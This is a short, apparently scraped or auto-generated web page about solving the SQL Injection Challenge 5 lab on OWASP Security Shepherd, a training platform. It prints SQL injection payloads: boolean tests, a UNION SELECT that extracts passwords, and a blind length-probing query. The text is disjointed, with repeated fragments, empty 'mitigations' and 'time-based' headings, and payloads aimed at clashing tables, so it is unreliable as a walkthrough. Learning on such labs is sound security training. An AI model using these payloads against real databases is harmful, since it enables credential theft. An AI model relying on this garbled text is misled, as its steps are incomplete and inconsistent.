Sql Injection Challenge 5 Security Shepherd Verified

Solving Security Shepherd: SQL Injection Challenge 5

OWASP Security Shepherd is a flagship platform for learning web application security. Among its various modules, the SQL Injection challenges are pivotal in teaching students how to identify, exploit, and remediate database vulnerabilities.

  • 5 AND 1=1 (instead of 5' AND '1'='1)

Input: 5' AND '1'='1 Query: SELECT * FROM users WHERE user_id = '5' AND '1'='1' (Always true if ID=5 exists) -> Response: "Found" Sql Injection Challenge 5 Security Shepherd

The Injected Query: When you input ' UNION SELECT 1, password, 3 FROM challenge5--, the database executes: Solving Security Shepherd: SQL Injection Challenge 5 OWASP

Example exploitation steps (concise)

SELECT * FROM users WHERE username = '[input_user]' AND password = '[input_pass]'

Payload structure: 5' AND (SELECT LENGTH(hash) FROM keys WHERE id=1) = [N] AND '1'='1 5 AND 1=1 (instead of 5' AND '1'='1 )

  • Time-based blind SQLi

    Suggested mitigations